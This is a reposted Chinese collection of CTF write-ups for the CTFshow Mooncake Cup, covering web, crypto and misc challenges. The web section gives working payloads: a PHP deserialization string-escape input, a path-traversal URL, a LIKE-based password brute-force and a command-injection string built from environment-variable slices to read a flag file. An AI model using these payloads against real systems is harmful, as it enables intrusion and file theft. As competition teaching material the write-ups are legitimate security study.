【月饼杯】月饼杯一血WP汇总

admin 2022年1月5日22:53:51CTF专场评论15 views7016字阅读23分23秒阅读模式

>

>

【月饼杯】月饼杯一血WP汇总

admin

比赛:CTFshow 月饼杯 平台:https://ctf.show
开始:2020/9/25 18:00
结束:2020/9/27 18:00
题目: web 杂项 密码 逆向 pwn 若干道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:rank最高的师傅发月饼!rank最高的师傅发月饼!rank最高的师傅发月饼!

  • web部分
  • crypto部分
  • misc部分
  • re部分
  • pwn部分

admin

题目名称:web1_此夜圆

题目描述:一江春水何年尽,万古清光此夜圆

出题师傅:m3w

一血:Scarehehe

下载源码

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

源码结尾有unserialize函数 看了看上面也有__wakeup()
方法 这题思路就是反序列化

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

filter函数将GET传参中的Firebasky 替换为 Firebaskyup
这样就会造成反序列化字符逃逸

关于反序列化字符逃逸的一些知识点

先进行序列化 在进行正则过滤 在进行反序列化就会造成字符逃逸问题

<?php
class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname="yu22x";
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
?>

先进行正常反序列化 没有被正则过滤
结果:O:1:"a":2:{s:5:"uname";s:5:"yu22x";s:8:"password";i:1;}

下面修改unameFirebasky
$uname="Firebasky";
结果:

O:1:"a":2:{s:5:"uname";s:9:"Firebaskyup";s:8:"password";i:1;}

发现Firebaskyup长度为11 但是前面序列化的长度只有9

php在反序列化时 会在s:9后面继续寻找9个字符 如果符合反序列化规则
就进行反序列化
即 到s:9时 继续向后寻找9个字符:Firebasky由于不符合反序列化规则(到达字符长度没有引号闭合) 所以就不进行反序列化
由于多出来了两个字符 我们可以利用这个来构造一个合适长度的Firebasky 来多出足够的字符 将";s:8:"password";s:5:"yu22x";} 写入
字符串 将 password=1逃逸出去

构造payload:

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

序列化结果:

O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

反序列化结果:

a Object ( [uname] => FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup 
		
输入密码查看隐藏内容:

=> yu22x )

可以看出反序列化结果已经逃逸成功


admin

题目名称:web2_故人心

题目描述:三五夜中新月色,二千里外故人心

出题师傅:Firebasky

一血师傅:yu22x

绕过a
php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。
也就是 0.00000...1(小数点后161个0)到0.00000...1(小数点后322个0)会同时满足is_numric($a) and $a!=0 and $a**2==0
但是长度会受限制。那我们可以用科学计数法来代替,即 1e-162 到 1e-323

绕过b、c
类似于md5弱比较
为了满足$b==hash("md2", $b)只要保证一个数前面加上0e之后再md2仍然是0e开头的数字即可,$c==hash("md2",hash("md2", $c)类似。根据提示,发现可以少爆破很多位即可找到满足的数字。


<?php
for($i=0;$i<99999;$i++){
    $x1=hash("md2", '0e'.$i.'024452');
    if(substr($x1,0,2)==='0e'  and is_numeric($x1)){
        break;
    }
}
for($j=0;$j<999999;$j++){
    $x2=hash('md2',hash("md2", '0e'.$j.'48399'));
    if(substr($x2,0,2)==='0e'  and is_numeric($x2)){
        break;
    }
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>

绕过url
php会将不认识的协议当作目录
payload:url=a://ctfshow.com/../../../../../fl0g.txt
对于payload a:为一个目录 ctfshow.com为1个目录
因为当前目录为/var/www/html,如果要跳到根目录需要向上跳3阶,再加上不存在的两个,共需要跳五阶目录

<?php
//1.php
print_r(file_get_contents($_POST[1]));

?>

在1.php同目录下有个a.txt

//a.txt
this is a.txt

假如我们输入 1=asdqweqw/../a.txt(其中asdqweqw为不存在的目录)会发现包含成功
【月饼杯】月饼杯一血WP汇总
当然,如果在shell环境中是不允许的
在这里插入图片描述


admin

题目名称:web3_莫负婵娟

题目描述:皎洁一年惟此夜,莫教容易负婵娟

出题师傅:yu22x

一血师傅:guoke

进入题目。看到登陆框。查看HTML源码。能知道后台sql语句

单引号斜杠啥的都被禁了。只能看语句了。这里用的是like。模糊匹配
给出了用户名。表示模糊匹配单个字符。添加N个。知道密码长度为32

然后’a’+31*’_’。写个脚本跑下。就能得到密码67815b0c009ee970fe4014abaa3Fa6A0
登陆后。感觉是个命令注入。curl IP
fuzz下发现。只能用大写字母和数字和部分符号
尝试curl外带环境变量

可以用${PWD:2:1}得到a字符。同理。外带PATH和HOME
拼凑出cat ????.???
EXP:
127.0.0.1; ${PATH:23:1}${PWD:2:1}${HOME:12:1} ????.???


admin

题目名称:crypto1_中秋月

题目描述:

此夜中秋月,清光十万家
自动钥匙⊕
明文全大写,得到后转小写,并以_连接单词。

格式:flag{xxx}。

Hint1: 某古典密码

Hint2: 经此古典密码加密后,密文还是大写

Hint3: 该古典密码的密钥形式:keyword+plaintext (+plaintext...+plaintext)

出题师傅:Lazzaro

一血师傅:阿狸

WP待补充


admin

题目名称:crypto2_月自圆

题目描述:Baby (Don't) Cry

世远人何在?天空月自圆。

出题师傅:Lazzaro

一血师傅:airrudder

源码文件Baby(Don't)Cry.py

# -*- coding:utf-8 -*-
#Author: Lazzaro

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	m = '****************************************************flag{*************}'
	assert(len(m)==71)
	a = randint(50,100)
	#随机产生四位大写字母
	salt = ''.join(sample(ascii_uppercase, 4))
	#迭代
	si = cycle(salt.lower())
	c=encrypt(m, a, si)
	print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a

明文长度为71位,加密后为142位。
这里由于a不大,salt长度也不长,且明文m中存在flag,正好可以用这几位去爆破出asalt
flag在明文m中的位置是53,对应密文c中的位置是105。flag出现的位置正好对应salt的位置。

f ⇒ 1c
l ⇒ 29
a ⇒ 56
g ⇒ 66

写脚本爆出a、salt

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
	return c

if __name__ == "__main__":
	for i in range(50,100):
		for j in ascii_uppercase:
			si = cycle(j.lower())
			# if encrypt('f', i, si)=='1c':
			# 	print('i =',i,'\tj =',j)

			if encrypt('l', i, si)=='29':
				print('i =',i,'\tj =',j)

结果:
满足encrypt('f', i, si)=='1c'的结果:

i = 52 	j = D
i = 57 	j = F
i = 62 	j = H
i = 67 	j = J
i = 72 	j = L
i = 77 	j = N
i = 82 	j = P
i = 87 	j = R
i = 92 	j = T
i = 97 	j = V

满足encrypt('l', i, si)=='29'的结果:

i = 54 	j = A
i = 55 	j = U
i = 61 	j = M
i = 67 	j = E
i = 68 	j = Y
i = 74 	j = Q
i = 80 	j = I
i = 86 	j = A
i = 87 	j = U
i = 93 	j = M
i = 99 	j = E

相同的i只有67,说明随机数a=67

然后拿着a去继续爆salt的后两位

if encrypt('a', 67, si)=='56':
	print('j =',j)

if encrypt('g', 67, si)=='66':
	print('j =',j)

最终得出salt='JESQ'
知道了随机出a和salt,这道题就出来了

from itertools import *
from random import *
from string import *

def encrypt(m, a, si):
	c=""
	for i in range(len(m)):
		c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
	return c
	
if __name__ == "__main__":
	
	salt = 'JESQ'
	si = cycle(salt.lower())
	c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
	res = ''
	for i in range(0,len(c),2):
		ssi = next(si)
		for j in range(32,127):
			if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
				res += chr(j)
	print(res)

得到最终结果:

now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}

7fad9fcb-d361-4964-821c-177c906b8d20-JESQ经md5加密后为1efce62ee0a96e39149e2179db1dd04c
最终flag:flag{1efce62ee0a96e39149e2179db1dd04c}


Lazzaro

https://lazzzaro.github.io/2020/09/26/match-CTFshow-月饼杯/


imlee

题目名称:misc3_人生由命

题目描述:虚幻3:法海把网鼎杯“虚幻2”题目的出题人打死了,兄弟萌快替出题人报仇呀
一年明月今宵多,人生由命非由他

出题师傅:imlee
一血师傅:无

解题步骤

首先是RAR的伪加密,需要用到010editor的模板修改一个bit

解压得到flag.png,高度为600*600

但是有CRC32的错误,高度出现了问题,爆破一下,实际尺寸为600*604

修改后发现下面有4行杂乱像素

由图片中的这行汉字 以及 题目说明中说到的虚幻2(虚幻2就是个分析像素转为二维码的题,那个题是rgb的byte值为255转为二维码的黑块)
联想到这4行像素 其实就是个二维码(需要凑正方形)

由于每个坐标的像素rgb是由24位bit组成,所以4*600*24 = 240*240(本题是rgb的bit为1转为二维码的白块,0转为二维码的黑块)

最后得到一个240*240大小的二维码

扫码可得flag

脚本如下

from PIL import Image

im = Image.open('flag.png')

binary = ''
for i in range(600,604):
    for j in range(600):
        r = im.getpixel((j,i))[0]
        g = im.getpixel((j,i))[1]
        b = im.getpixel((j,i))[2]
        binary += bin(r)[2:].zfill(8) + bin(g)[2:].zfill(8) + bin(b)[2:].zfill(8)

w = int(len(binary)**0.5)
h = int(len(binary)**0.5)
print(w)
print(h)
flag_pic = Image.new("RGB",(w,h))

index = 0
for height in range(h):
    for width in range(w):
        if (binary[index] == '1'):
            flag_pic.putpixel((width,height),(255,255,255))
        else:
            flag_pic.putpixel((width,height),(0,0,0))
        index += 1

flag_pic.show()

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:53:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【月饼杯】月饼杯一血WP汇总 http://cn-sec.com/archives/719514.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: